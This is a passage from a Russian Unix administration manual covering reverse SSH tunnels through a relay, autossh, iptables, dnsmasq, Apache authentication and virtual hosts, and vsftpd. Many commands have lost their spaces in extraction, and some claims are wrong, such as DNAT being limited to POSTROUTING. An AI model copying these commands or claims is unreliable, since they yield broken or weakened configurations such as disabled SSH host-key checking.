Недостаток описанных настроек: необходимо последовательно выполнить два соединения: сначала нужно соединяться с сервером relay, и только затем с требуемым сервером server. Это связано с тем, что конечная точка туннеля на сервере relay привязана к интерфейсу lo (127.0.0.1). Можно настроить сервис sshd, расположенный на сервере relay так, что бы он перенаправлял порт не с фиктивного интерфейса lo, а с реального сетевого интерфейса:

Сервер пересылки ------|||NAT| client<--->| relay|<=====> server |||| ------

------ssh сединение ======ssh туннель

Для этого в файл /etc/ssh/sshd_conf на сервере relay нужно добавить опцию:

GatewayPorts clientspecified

и перезапустить сервис sshd. Теперь после выполнения команды: server~$ ssh -f -N -R relay_IP:10022:localhost:22 relay_user@relay_IP

перенаправление порта доступно с интерфейса с IP адресом relay_IP. Для проверки этого можно войти на сервер relay и выполнить команду: relay~$ sudo netstat -nap | grep 10022

Её вывод должен быть примерно следующий: tcp00 relay_IP:10022 0.0.0.0:* LISTEN-

В отличие от предыдущего случая, конечной точкой туннеля теперь является relay_IP:10022 (об- щедоступный адрес IP сервера relay), а не 127.0.0.1:10022. Теперь для того чтобы получить доступ к серверу server, защищенному NAT, можно на любом компьютере (например, на компьютере client), выполнить команду: client~$ ssh -p 10022 server_user@relay_IP

Хотя в приведенной команде relay_IP является адресом сервера relay, server_user должен быть учетной записью на сервере server. Это связано с тем, что реальный хост, доступный по URL relay_IP:10022 то server, а не relay. Последний просто ретранслирует трафик на сервер server.

2.1. Администрирование вычислительных сетей 131 ABC Unix, Выпуск 1.0.01

Параметры для диагностики SSH соединения

В /etc/ssh_config, либо в ~/.ssh/config, либо через опцию -o клиента SSH можно явно задать параметры, определяющие условия разрыва SSH соединения. Параметр:

TCPKeepAlive yes

включает диагностику соединения с помощью контрольных пакетов, посылаемых с определенным интервалом времени. Если параметр установлен, обрыв соединения будет вовремя установлен, а соответствующее соединение будет разорвано. Параметр:

ServerAliveInterval

задает интервал между контрольными пакетами в секундах. По-умолчанию интервал равен 0 (кон- трольные пакеты не отсылаются, следовательно диагностика разрыва соединения невозможна). Параметр:

ServerAliveCountMax

задает количество потерянных контрольных пакетов при котором соединение считается все еще активным.

Поддержка туннеля в активном состоянии с помощью планировщика заданий crond

C помощью команды редактирования заданий планировщика crond:

crontab-e

можно настроить восстановление туннеля по расписанию. Примерный вид задания:

*/5**** ssh-f-N-R<ПОРТ>:АДРЕС ПОЛЬЗОВАТЕЛЬ@АДРЕС

Задание можно проверить командой:

crontab-l

autossh: Поддержка туннеля в активном состоянии

Сделаем так, чтобы туннель поднимался и работал постоянно (независимо от временной повышен- ной загрузки сети, тайм-аута SSH, перезагрузки хоста, и т.д.). Для создания постоянного туннеля можно использовать утилиту autossh. Эта утилита позволяет автоматически перезапускать сессию SSH в случае, если она по какой-либо причине пропадает. Утилита autossh может без вмешательства пользователя перезапускать туннель SSH, если server может соединяться с relay без ввода пароля, по ключам. Затем на сервере server, откуда начинается туннель, нужно установить autossh:

yum install autossh

Далее на сервере server нужно запустить autossh со следующими аргументами:

132 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

server~$ autossh -M 10900 \ -f -N -R relay_IP:10022:localhost:22 relay_user@relay_IP \ -o "PubkeyAuthentication=yes" \ -o "StrictHostKeyChecking=false" \ -o "PasswordAuthentication=no" \ -o "ServerAliveInterval 60" \ -o "ServerAliveCountMax 3"

• параметр -M 10900 указывает порт сервера relay, для мониторинга. Порт должен быть сво- боден. • параметр -f -N -R relay_IP:10022:localhost:22 relay_user@relay_IP перенаправляется в команду ssh. • параметр “-o XXXX” сообщает команде ssh следующее: • -o "PubkeyAuthentication=yes" и -o "PasswordAuthentication=no" - Использовать ключ аутентификации, а не парольную аутентификацию. • -o "StrictHostKeyChecking=false" - Автоматически принимать (неизвестные) ключи хоста SSH • -o "ServerAliveInterval 60" - Каждые 60 секунд обмениваться сообщениями keep-alive. • -o "ServerAliveCountMax 3" - Отправлять до трех сообщений keep-alive без получения каких-либо ответов. Остальные параметры обратного туннелирования SSH те же самые, что и в предыдущих примерах. Если нужно автоматически поднимать туннель при загрузке системы, можно в /etc/rc.local добавить указанную команду autossh.

Сетевая фильтрация и трансляция адресов

Сетевая фильтрация (брандмауэр, файрвол) предназначена для фильтрации и обработки пакетов, проходящих через сетевые интерфейсы. В GNU/Linux файрвол является модулем ядра. Интерфей- сом для модификации правил сетевой фильтрации служит команда iptables. Файрвол анализиру- ет заголовки пакетов и принимает решение, “выбросить” пакет (DROP), принять пакет (ACCEPT) или сделать с ним что-то еще. Каждый пакет проходит по цепочке правил. Каждое правило содержит условие и действие. Если пакет удовлетворяет условию то над ним выполняется действие, в противном случае к пакету применяется следующее правило в цепочке. Если пакет не удовлетворил ни одному из условий в цепочке, то к нему применяется действие по умолчанию. Схематично обработку пакета можно изобразить следующим образом: Входящий пакет начинает обрабатываться с цепочки PREROUTING в таблице mangle. Затем он обрабатывается правилами цепочки PREROUTING таблицы nat. На этом этапе проверяется, не требуется ли изменение (трансляция) адреса назначения пакета (DNAT). После этого пакет передается в цепочку INPUT (если целью пакета является этот компьютер) или FORWARD (если целью пакета является другой компьютер сети). Если целью пакета является другой компьютер, то пакет фильтруется правилами цепоч- ки FORWARD из таблиц mangle и filter, а затем к нему применяются правила цепочки POSTROUTING. На данном этапе можно использовать SNAT/MASQUARADE (подмена адреса источника/маскировка). После этих действий пакет будет отправлен в сеть. Если назначением пакета является сам компьютер, то после маршрутизации, он обрабатывается правилами цепочек INPUT из таблиц mangle и filter. В случае прохождения цепочек пакет пере- дается приложению. Когда приложение отвечает на запрос или отправляет собственный пакет, то он обрабатывается цепочкой OUTPUT из таблицы filter. Затем к нему применяются правила цепочки OUTPUT из

2.1. Администрирование вычислительных сетей 133 ABC Unix, Выпуск 1.0.01

таблицы nat, для определения, требуется ли использовать DNAT (модификация назначения), пакет фильтруется цепочкой OUTPUT из таблицы filter и передается цепочке POSTROUTING которая может использовать SNAT и QoS. В случае успешного прохождения POSTROUTING пакет выходит в сеть. Соединение TCP/IP устанавливается в 3 этапа. Если компьютер А пытается установить соединение с компьютером Б, то они обмениваются специальными TCP пакетами (состояние соединения NEW): • компьютер A посылает SYN пакет • компьютер Б отвечает ACK пакетом и SYN пакетом • компьютер A отвечает ACK пакетом После успешного обмена перечисленными пакетами соединение считается установленным (состоя- ние ESTABLISHED). C помощью опции --state можно задавать правила для соединений находящихся в заданном со- стоянии: NEW вновь устанавливаемое ESTABLISH установленное; RELATED создаваемое с уже установленным соединением; INVALID не установленной принадлежности. Опции для ввода правил сетевой фильтрации и трансляции:

134 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Опция Описание Пример --protocol Короткий вариант -p. Опре- iptables -A INPUT –protocol деляет протокол. Опции tcp, tcp udp, icmp, или любой другой протокол определенный в / etc/protocols --source Короткий вариант -s. IP- iptables -A INPUT –source адрес источника пакета. 10.10.10.3 Может быть определен как IP адрес (10.10.10.3) или подсеть (10.10.10.3/24 или 10.10.10.3/255.255.255.0) --destination Короткий вариант -d. IP- iptables -A INPUT –destination адрес назначения пакета. Мо- 192.168.1.0/24 жет быть определен несколь- кими путями (см. –source) --source-port Порт источник, возмо- iptables -A INPUT –protocol жен только для протоко- tcp –source-port 25 лов --protocol tcp или --protocol udp --destination-port Порт назначения, возмо- iptables -A INPUT –protocol жен только для протоко- udp –destination-port 67 лов --protocol tcp или --protocol udp --state Состояние соединения. До- iptables -A INPUT -m state – ступно, если модуль state за- state NEW,ESTABLISHED гружен с помощью -m state. Доступные опции: NEW - все пакеты устанавли- вающие новое соединение ESTABLISHED - все паке- ты принадлежащие установ- ленному соединению RELATED - пакеты, не при- надлежащие установленному соединению, но связанные с ним. Например - FTP в актив- ном режиме использует раз- ные соединения для передачи данных. Эти соединения свя- занны. INVALID - пакеты, которые не могут быть по тем или иным причинам идентифицирован- ны. Например ICMP ошибки не принадлежащие существу- ющим соединениям --in-interface Короткий вариант -i. Опре- iptables -t nat -A деляет интерфейс, на который PREROUTING –in-interface прибыл пакет. Полезно для eth0 NAT и машин с несколькими сетевыми интерфейсами --out-interface Короткий вариант -o. Опре- iptables -t nat -A деляет интерфейс, с которого POSTROUTING –in-interface уйдет пакет. Полезно для NAT eth1 и машин с несколькими сете- выми интерфейсами --tcp-flags Определяет TCP флаги па- кета. Содержит 2 парамет- ра: Список флагов которые 2.1. Администрирование вычислительныхследует проверить сетей и список 135 флагов которые должны быть установлены --syn Сокращение для –tcp-flags iptables -A INPUT –protocol SYN,RST,ACK SYN’ По- tcp ! –syn -m state –state NEW скольку проверяет TCP флаги, используется с – protocol tcp. В примере показан фильтр для пакетов с флагом NEW, но без флага SYN. Обычно такие пакеты должны быть выброшены (DROP). ABC Unix, Выпуск 1.0.01

Чтобы определить действие (цель), которое выполняется для пакета удовлетворяющего условию, используется ключ –jump (или просто -j). К пакету можно применить одно из следующих действий: ACCEPT пропустить, пакет покидает данную цепочку DROP отклонить, не сообщив об этом передавшему REJECT отклонить, сообщив об этом передавшему. LOG занести в протокол информацию о пакете. Полезно в комбинации с DROP и REJECT для отладки RETURN возвратить пакет в ту цепочку, из которой он прибыл SNAT подменить адрес источника на заданный (source NAT). Может использоваться только в цепочках POSTROUTING и OUTPUT. DNAT подменить адрес получателя на заданный (destination NAT). Может использоваться только в цепочке POSTROUTING. MASQUERADEподменить адрес источника на адрес интерфейса через который проходит пакет. Может применяться только в цепочке POSTROUTING. В отличии от SNAT адаптирован к соединению с динамическим IP.

Первоначальная настройка сетевой трансляции

Подсистема трансляции сетевых адресов подменяет IP-адреса компьютеров локальной сети на IP- адрес внешнего сетевого интерфейса (SNAT) или наоборот (DNAT). Ниже приведен пример замены адресов для IP пакетов приходящих на внутренний интерфейс eth0 на адреса внешнего интерфейса eth1: iptables-t nat-A POSTROUTING-o eth1-j MASQUERADE

Это правило обеспечивает работу в интернет всех компьютеров локальной сети “от имени” IP-адреса сетевого интерфейса eth1.

Первоначальная настройка сетевой фильтрации

Настройка фильтрации начинается с установки политик запрещающих все соединения кроме раз- решенных: iptables-P INPUT DROP iptables-P FORWARD DROP iptables-P OUTPUT DROP

Далее, обычно идут следующие правила: • разрешаются входящие соединения на маршрутизатор с внутренней сети iptables-A INPUT-i eth1--source 192.168.1.0/24--match state--state NEW,ESTABLISHED-j␣ ˓→ACCEPT

• разрешается соединение с компьютерами во внутренней сети iptables-A OUTPUT-o eth1--destination 192.168.1.0/24--match state--state NEW,ESTABLISHED- ˓→j ACCEPT

• разрешается перенаправление пакетов из внутренней сети во внешнюю для установленных и новых соединений: iptables-A FORWARD-i eth1--source 192.168.1.0/24--destination 0.0.0.0/0--match state-- ˓→state NEW,ESTABLISHED-j ACCEPT

• разрешается перенаправление пакетов из внешней сети во внутреннюю только для установ- ленных соединений

136 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

iptables-A FORWARD-i eth0--destination 192.168.1.0/24--match state--state ESTABLISHED-j␣ ˓→ACCEPT

Проверка настроек сетевой защиты

Для просмотра всех правил во всех цепочках используется команда: iptables-L

Для вывода правил отдельной цепочки используется команда: iptables-L INPUT

Для вывода параметров в числовом формате используется опция –n: iptables –n -L

DNS, DHCP, BOOTP/PXE, TFTP

Кратко о назначении сервисов: • DNS является основной компонентой системы распознавания имен и предназначен для рас- познавания имен и IP-адресов компьютеров. • DHCP обеспечивает автоматическую настройку клиентской части компьютеров локальной сети. • BOOTP/PXE обеспечивает загрузку или установку операционных систем по локальной сети. • TFTP предназначен для пересылки файлов (обычно ядра ОС) при загрузке или установке операционной системы по локальной сети. Перечисленные сервисы могут быть установлены из следующих пакетов программ: Пакеты программ Сервис dnsmasq bind dhcp tftp-server DNS + + - - DHCP + - + - BOOTP/PXE + - + - TFTP + - - + Из таблицы следует, что функционирование всех базовых сервисов можно обеспечить установкой одного пакета программ - dnsmasq.

Установка и первичная настройка

Проверить установлен или нет сервис можно командой: rpm-q dnsmasq

Установить и запустить сервис можно с помощью следующих команд: yum install dnsmasq chkconfig dnsmasq on /etc/init.d/dnsmasq start

Настройки можно изменять двумя путями, либо передать их через командную строку, либо устано- вить их в файле dnsmasq.conf. Наименование настроек (в не сокращенном варианте) передаваемых через командную строку и указываемых в файле dnsmasq.conf совпадают. Как правило выбирают

2.1. Администрирование вычислительных сетей 137 ABC Unix, Выпуск 1.0.01

второй вариант, поскольку он наиболее наглядный и позволяет добавлять комментарии к каждой настройке с помощью символа #.

Файлы настроек

Основной файл настроек:

/etc/dnsmasq.conf

Часть настроек можно вынести в отдельные файлы с помощью следующих опции. Опция:

conf-file=<файла настроек>

добавляет содержимое файла <файла настроек> к содержимому основного файла настроек. Опций conf-file может быть несколько. Если указать вместо имени файла -, то для ввода настроек будет использоваться стандартный поток ввода stdin. Опция:

conf-dir=<каталог>,<расширение файла>

добавляет содержимое всех всех файлов, находящихся в каталоге <каталог>, кроме файлов с рас- ширением <расширение файла>. Файлы заканчивающиеся символом ~, либо начинающиеся с ., либо начинающиеся и заканчивающиеся символом # пропускаются всегда. После установки основной файл настроек содержит только одну незакомментированную опцию:

conf-dir=/etc/dnsmasq.d

Протоколирование

По умолчанию события протокола направляются в стандартную службу syslog в группы собы- тий daemon и local0. Поэтому все события сервиса отражаются в основном протоколе системы /var/log/messages Для того, чтобы создать отдельный протокол для сервиса можно использовать опцию:

log-facility=<полный путь к файлу протокола>

Например:

log-facility=/var/log/dnsmasq.log

Для отладки можно включить протоколирование все DNS запросов:

log-queries

Для снижения нагрузки на файловую систему можно включить асинхронную запись:

log-async=25

DNS сервис

Можно добавить следующие две опции, чтобы заставить dnsmasq фильтровать DNS запросы ло- кальной сети, чтобы они никогда не достигали публичных DNS серверов:

138 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

# не пересылать простые текстовые запросы (без точки или без части домена) domain-needed

# никогда не пересылать не маршрутизированные адреса bogus-priv

Для того, чтобы использовать DNS сервис установленный на самом сервере в файле /etc/resolve. conf прописывают IP адрес 127.0.0.1 фиктивного интерфейса lo. По умолчанию dnsmasq читает файл resolv.conf и использует прописанные там DNS сервера для передачи им нераспознанных запросов. Если не отключить чтение файла /etc/resolve.conf, то нераспознанные запросы зацик- лятся. Отключение осуществляется опцией: no-resolv

Можно дополнительно отключить отслеживание изменения файла /etc/resolv.conf или другого файла выполняющего его функцию: no-poll

Если отключено чтение файла /etc/resolve.conf, то необходимо явно задать список серверов для пересылки запросов: server=#<порт>

Например:

# google OpenDNS server=8.8.8.8#53 server=8.8.4.4#53

Для защиты от DNS атак необходимо запретить ответы от вышестоящих DNS серверов с IP адре- сами компьютеров локальной сети: stop-dns-rebind

Сервис dnsmasq используется системой виртуализации libvirt. Для каждого виртуального сетево- го интерфейса запускается своя изолированная копия процесса. Для того, чтобы это было возможно необходимо использовать опцию: bind-interfaces

По умолчанию dnsmasq “слушает” DNS запросы со всех интерфейсов в системе. Если в системе несколько интерфейсов, то с помощью опции: interface=<имя интерфейса>

можно указать интерфейс предназначенный для приема запросов DNS. Также можно указать TCP порт: port=<порт>

Настройка кэширования

Отключение кэширования ошибочных DNS запросов: no-negcache

сократит время доступа к временно недоступным компьютерам сети. Можно настроить очистку DNS-кэша при перезапуске сервиса:

2.1. Администрирование вычислительных сетей 139 ABC Unix, Выпуск 1.0.01

clear-on-reload

Можно изменить размер кэша по умолчанию (150 записей): cache-size=250

Настройки времени жизни кэша в секундах: local-ttl=7200 neg-ttl=14400

DHCP сервис

Включить динамический диапазон (pool) IP адресов: dhcp-range=<первый IP диапазона>,<последний IP диапазона>,<время аренды>

Пример: dhcp-range=10.10.10.11,10.10.10.50,12h

Задать статический адрес для отдельного узла: dhcp-host=,<имя>,

Пример: dhcp-host=c8:f7:33:1b:ae:45,lsrv,10.10.10.1

Запретить DHCP и TFTP сервисы на указанном интерфейсе (опция не влияет на DNS сервис): no-dhcp-interface=eth0

Опции для настройки клиентов локальной сети с помощью DHCP: Параметр Опция dnsmasq имя домена dhcp-option=option:domain-name,<имя домена> домены для поиска dhcp-option=option:domain-search,<имя домена1>,<имя домена2>,<имя домена3> маска сети dhcp-option=option:netmask,<маска сети в формате 255...> шлюз по dhcp-option=option:router, умолчанию IP адрес DNS dhcp-option=option:dns-server, сервера имя NIS домена dhcp-option=40,<имя NIS домена> IP адрес NIS dhcp-option=41, сервера

TFTP сервис

Включить поддержку TFTP сервера: enable-tftp

Корневой каталог TFTP сервера: tftp-root=/var/lib/tftpboot

140 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

BOOTP/PXE сервис

Загрузка с использованием встроенного TFTP сервера: pxe-service=<архитектура>,<сообщение>,<файл для загрузки с TFTP сервера>

Загрузка с использованием стороннего TFTP сервера: pxe-service=<архитектура>,<сообщение>,<файл для загрузки с TFTP сервера>,

Пример: pxe-service=x86PC,"Install Linux", pxelinux, 10.22.10.1

С помощью этой опции на компьютер локальной сети выводится сообщение “Install Linux”, с сервера TFTP с IP адресом 10.22.10.1 загружается файл pxelinux и ему передается управление.

Пример файла настроек

# Отсекаем "плохие" запросы domain-needed bogus-priv filterwin2k

# Принимаем запросы из локальной сети listen-address=127.0.0.1,192.168.0.1

# Адрес серверов провайдера server=89.252.34.107 server=89.252.34.110

# Не использовать resolv.conf no-resolv no-poll

# Диапазон адресов, маска и время аренды адреса dhcp-range=192.168.0.2,192.168.0.15,255.255.255.0,72h

# Пример статически выдаваемого адреса dhcp-host=00:13:ce:47:09:0d,192.168.1.17 dhcp-authoritative cache-size=150 no-negcache log-queries log-dhcp

Заключительные шаги

Перезапустить dnsmasq:

/etc/init.d/dnsmasq restart

На последнем этапе, можно использовать утилиту dig для проверки работоспособности сервиса: dig<имя>

Либо более простую и доступную на многих системах nslookup:

2.1. Администрирование вычислительных сетей 141 ABC Unix, Выпуск 1.0.01

nslookup<имя>

HTTP сервер

Установка и первичная настройка

В Red Hat совместимых дистрибутивах пакет с сервером Apache называется httpd. Проверить установлен или нет HTTP сервер можно командой: rpm-q httpd

а установить сервер командой: yum install httpd

Основным конфигурационным файлом сервера является:

/etc/httpd/conf/httpd.conf

В конфигурационный файл можно внести некоторые полезные изменения. Для этого необходимо найти, раскомментировать и исправить параметры:

ServerAdmin [email protected] # почтовый адрес администратора ServerName example.com:80 # имя сервера

В параметре LanguagePriority рекомендуется поставить ru на первое место:

LanguagePriority ru en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no pl...

По умолчанию все файлы сайта размещаются в каталоге:

/var/www

Для хранения страницы по умолчанию используется каталог:

/var/www/html

а для хранения cgi-скриптов каталог:

/var/www/cgi-bin

Дополнительные настройки

Описание каталога для http-сервера

По умолчанию, корневым каталогом для http-сервера является каталог /var/www. Его параметры заданы в основном конфигурационном файле /etc/httpd/conf/httpd.conf. Можно описать другие каталоги, доступные http-серверу с помощью директивы:

>

Параметры доступа

142 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Атрибуты доступа к каталогу

Для каталога должны быть установлены соответствующие права. Сервис httpd выполняется от имени пользователя apache и группы apache, поэтому каталог должен быть доступен хотя бы на чтение содержимого для упомянутого пользователя и группы.

Контекст selinux

Для каталога должны быть установлен соответствующий контекст selinux: • для доступа на чтение:

semanage fcontext-a-t httpd_sys_content_t '<каталог>(/.*)?' restorecon-R-v<каталог>

• для доступа на запись:

semanage fcontext-a-t httpd_sys_rw_content_t '<каталог>(/.*)?' restorecon-R-v<каталог>

Псевдоним для каталога

Псевдоним позволяет обращаться к заданному каталогу http-сервера по имени (псевдониму):

Alias/<псевдоним>/<каталог сервера>/

Пример:

Alias/webmail/usr/share/roundcubemail/

Перенаправление каталогов

Позволяет перенаправить запросы к каталогу данного сервера на корневой каталоги другого сер- вера:

Redirect permanent/<виртуальный каталог>

Пример:

Redirect permanent/abc-unix https://balberin.ru

Примеры ограничений доступа

В этом примере, все запросы запрещены. • для apache 2.2

Order deny,allow Deny from all

• для apache 2.4

Require all denied

В этом примере все запросы разрешены.

2.1. Администрирование вычислительных сетей 143 ABC Unix, Выпуск 1.0.01

• для apache 2.2

Order allow,deny Allow from all

• для apache 2.4

Require all granted

Следующий пример разрешает доступ с домена example.doc, все остальные хосты запрещены: • для apache 2.2

Order Deny,Allow Deny from all Allow from.example.doc

• для apache 2.4

Require host.example.doc

Авторизация

Apache поддерживает два вида аутентификации: • Basic (Базовая аутентификация), • Digest (Дайджест аутентификация).

Базовая аутентификация

Для настройки доступа к каталогам по пользователям и паролям нужно: • создать файл с пользователями и паролями

htpasswd/etc/httpd/passwd<ПОЛЬЗОВАТЕЛЬ>

Примечание: Если файл /etc/httpd/passwd отсутствует, то нужно использовать опцию -c

• при необходимости, добавить пользователей с паролями

htpasswd/etc/httpd/passwd<ПОЛЬЗОВАТЕЛЬ> New password: Re-type new password: Adding password for user<ПОЛЬЗОВАТЕЛЬ>

• создать файл для хранения групп /etc/httpd/group (если нужна авторизация по группам) вида:

<ГРУППА>:<ПОЛЬЗОВАТЕЛЬ><ПОЛЬЗОВАТЕЛЬ А>...<ПОЛЬЗОВАТЕЛЬ Б> ... <ГРУППА N>:<ПОЛЬЗОВАТЕЛЬ В>...<ПОЛЬЗОВАТЕЛЬ Я>

• добавить в описание каталога опции авторизации:

/>

...

144 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

AuthType Basic AuthName Restricted

# Авторизация по пользователям AuthUserFile/etc/httpd/passwd # разрешить всем авторизовавшимся пользователям #Require valid-user # разрешить заданному пользователю после его авторизации Require user<ПОЛЬЗОВАТЕЛЬ>

# Авторизация по группам #AuthGroupFile /etc/httpd/group #Require group <ГРУППА>

...

• или создать в защищаемом каталоге файл .htaccess примерно такого содержания:

AuthName"Требуется авторизация!" AuthType Basic # Авторизация по пользователям AuthUserFile/etc/httpd/passwd # разрешить всем авторизовавшимся пользователям #Require valid-user # разрешить заданному пользователю после его авторизации Require user<ПОЛЬЗОВАТЕЛЬ>

# Авторизация по группам #AuthGroupFile /etc/httpd/group #Require group <ГРУППА>

Примечание: Если защищаемый каталог является подкаталогом корня сайта, необходимо доба- вить параметр AllowOvveride в основной конфигурационный файл /etc/httpd/conf/httpd.conf после директивы примерно так:

...

Options Indexes FollowSymLinks

# # AllowOverride controls what directives may be placed in .htaccess files. # It can be "All", "None", or any combination of the keywords: # # Options FileInfo AuthConfig Limit # AllowOverride Authconfig # # Controls who can get stuff from this server. #

...

2.1. Администрирование вычислительных сетей 145 ABC Unix, Выпуск 1.0.01

Дайджест аутентификация

Настройка этого типа аутентификации отличается только: • Файл паролей создаётся при помощи утилиты htdigest:

htdigest-c/etc/httpd/passwd<ИМЯ ОБЛАСТИ><ПОЛЬЗОВАТЕЛЬ>

Ключ -c указывается при необходимости создать новый файл, а аргумент <ИМЯ ОБЛА- СТИ> будет указан в директиве AuthName. • Описание защищенного каталога содержит следующие директивы:

AuthType Digest

# Авторизация по пользователям AuthName<ИМЯ ОБЛАСТИ> AuthUserFile/etc/httpd/passwd # разрешить заданному пользователю после его авторизации Require user<ПОЛЬЗОВАТЕЛЬ> # разрешить всем авторизовавшимся пользователям #Require valid-user

# Авторизация по группам #AuthGroupFile /etc/httpd/group #Require group <ГРУППА>

Создание дополнительного каталога сайта

Допустим, необходимо обеспечить доступ к некоторому каталогу на сайте по адресу http:// example.com/<каталог>. Существуют два варианта решения этой задачи: 1. Найти корневой каталог сайта http://example.com и в этом каталоге создать подкаталог с именем <каталог>. 2. Создать каталог в произвольном месте и присвоить ему псевдоним <каталог>. Первый способ описан выше, в процессе описания виртуального сайта. Для реализации второго способа необходимо: 1. Создать каталог на сервере; 2. Описать этот каталог как каталог доступный с помощью http протокола; 3. Присвоить этому каталогу http-название - псевдоним. Допустим, необходимо обеспечить доступ к каталогу /var/www/README по адресу: http://<адрес или имя сервера>/readme

или по адресу: http://<адрес или имя сервера>/README

Создадим требуемый каталог из под пользователя root:

# mkdir /var/www/README

Установим для этого каталога контекст selinux (подробности смотри выше): semanage fcontext-a-t httpd_sys_content_t '/var/www/README(/.*)?' restorecon-R-v/var/www/README

146 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Дополнительные настройки не рекомендуется делать в основном настроечном файле /etc/httpd/ conf/httpd.conf, для подобных задач выделен специальный подкаталог:

/etc/httpd/conf.d/

Любой файл в этом каталоге, имеющий расширение .conf вставляется в основной настроечный файл. Поэтому создадим отдельный файл настроек:

/etc/httpd/conf.d/README.conf

со следующим содержанием:

Alias/readme/var/www/README Alias/README/var/www/README

Options Indexes FollowSymLinks IndexOptions Charset=UTF-8 AllowOverride All AddDefaultCharset UTF-8 IndexIgnore.htaccess.htaccess

Настройка виртуальных сайтов (Virtual Hosts)

Допустим, на сервере должны располагаться несколько сайтов и необходимо, чтобы при переходе по имени сайта открывались соответствующие этому сайту страницы, а при переходе по IP-адресу или по любому другому имени, кроме избранных, открывался сайт-заглушка, например, со списком имеющихся сайтов или просто предупреждением. Все это можно организовать с помощью так называемых именованных виртуальных сайтов (в дальнейшем просто виртуальных сайтов). Пусть, первый сайт должен быть доступен по http-адресам: http://example.com http://www.example.com

и располагаться в каталоге:

/var/www/html/example.com

Второй сайт, по адресам: http://virtual.net http://www.virtual.net

и располагаться в каталоге:

/var/www/html/virtual.net

Создадим каталоги для сайтов: mkdir/var/www/html/example.com ; mkdir/var/www/html/virtual.net

Настройки виртуальных сайтов не рекомендуется делать в основном настроечном файле, для по- добных задач выделен специальный каталог:

/etc/httpd/conf.d/

Любой файл в этом каталоге, имеющий расширение .conf вставляется в основной настроечный файл. Поэтому создадим отдельный файл настроек:

2.1. Администрирование вычислительных сетей 147 ABC Unix, Выпуск 1.0.01

/etc/httpd/conf.d/virtual.conf

со следующим содержанием:

# # Основной сайт # NameVirtualHost*:80 ServerName default # # Сайт http://example.com # ServerName example.com ServerAlias www.example.com DocumentRoot/var/www/html/example.com ErrorLog logs/example.com-error.log # # Сайт http://virtual.net # ServerName virtual.net ServerAlias www.virtual.net DocumentRoot/var/www/html/virtual.net ErrorLog logs/virtual.net-error.log

Первая секция:

ServerName default

добавляется для того, чтобы все запросы с неправильными именами сайтов и обращения по IP адресам перенаправлялись в папку:

/var/www/html

содержащую индексную страницу с соответствующим сообщением. Для вступления всех изменений в силу необходимо перезапустить сервер командой:

/etc/init.d/httpd restart

Настройка selinux

Для каталогов виртуальных сайтов нужно установить контекст selinux: semanage fcontext-a-t httpd_sys_content_t '/var/www/html/example.com(/.*)?' semanage fcontext-a-t httpd_sys_content_t '/var/www/html/virtual.net(/.*)?' restorecon-R-v/var/www/html

FTP сервер

Протокол FTP является TCP-протоколом для передачи файлов между компьютерами. FTP рабо- тает по модели клиент-сервер. Серверная часть отслеживает запросы по FTP протоколу от уда-

148 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

ленных клиентов. При получении запроса сервер устанавливает соединение. В рамках FTP сессии сервер выполняет посланные команды и возвращает результат клиенту. Существуют два режима работы сервера FTP: • анонимный • авторизованный В анонимном режиме, клиенты получают доступ к серверу, используя специальную учетную запись (anonymous или ftp), не передавая ни какого пароля или используя в качестве последнего свой адрес электронной почты. В этом случае, в качестве корневого каталога используется домашний каталог специального пользователя ftp, что позволяет скрыть от анонимных пользователей остальную часть файловой системы. В авторизованном режиме на сервер допускаются только те пользователи, которые имеют учетную запись. В этом случае, авторизованные пользователи получают доступ к файлам и каталогам в соответствии с правами учетной записи, использованной при входе на сервер.

Установка и настройка

В большинстве UNIX-систем в качестве сервера FTP используется vsftp сервер. Проверить уста- новлен или нет vsftp сервер можно командой: rpm-q vsftpd

а установить сервер командой: sudo yum install vsftpd

После установки сервер готов к работе со следующими параметрами: • разрешен анонимный доступ anonymous_enable=YES

• анонимный пользователь, получает доступ к каталогу /var/ftp только для чтения anon_upload_enable=NO

• разрешен авторизованный доступ для локальных пользователей local_enable=YES

• локальные пользователи имеют право на запись в соответствии с правами своей учетной записи write_enable=YES

• для создаваемых файлов и каталогов устанавливается маска доступа “всем на все” (0777) После установки, для запуска сервера с параметрами по умолчанию необходимо запустить сервис: sudo service vsftpd start

а также, включить запуск сервиса после перезагрузки: sudo chkconfig vsftpd on

Примечание: Для корректного отображения русских имен каталогов и файлов необходимо на- строить локализацию клиента. Русские имена отображаются в кодировке UTF-8. Многие клиенты настроены на кодировку Windows cp1251 или даже KOI-8.

2.1. Администрирование вычислительных сетей 149 ABC Unix, Выпуск 1.0.01

Рекомендуемые параметры безопасности

Чтобы изменить настройки сервера нужно отредактировать файл настроек:

/etc/vsftpd.conf

Для повышения безопасности сервера желательно выполнить следующие дополнительные настрой- ки: • изменить маску по умолчанию для создаваемых файлов так, чтобы владелец файла мог его читать и изменять, а группа и остальные пользователи только читать: local_umask=022

• скрыть реальных владельцев файлов и каталогов при просмотре FTP ресурса hide_ids=YES

После изменения настроек необходимо перезапустить сервис командой: sudo service vsftpd restart

Примечание: Для получения дополнительной информации по изменению параметров можно обратиться к руководству man vsftpd.conf

Настройка сетевого фильтра

В файл /etc/sysconfig/iptables необходимо добавить правила:

# Разрешить FTP соединение -A INPUT-p tcp--sport 21-m state--state ESTABLISHED-j ACCEPT -A OUTPUT-p tcp--dport 21-m state--state NEW,ESTABLISHED-j ACCEPT

# Сохранять активное FTP соединение -A INPUT-p tcp--sport 20-m state--state ESTABLISHED,RELATED-j ACCEPT -A OUTPUT-p tcp--dport 20-m state--state ESTABLISHED-j ACCEPT

# Разрешить пассивное FTP соединение -A INPUT-p tcp--sport 1024:--dport 1024:-m state--state ESTABLISHED-j ACCEPT -A OUTPUT-p tcp--sport 1024:--dport 1024:-m state--state ESTABLISHED,RELATED-j ACCEPT

Сервер электронной почты

Основные термины

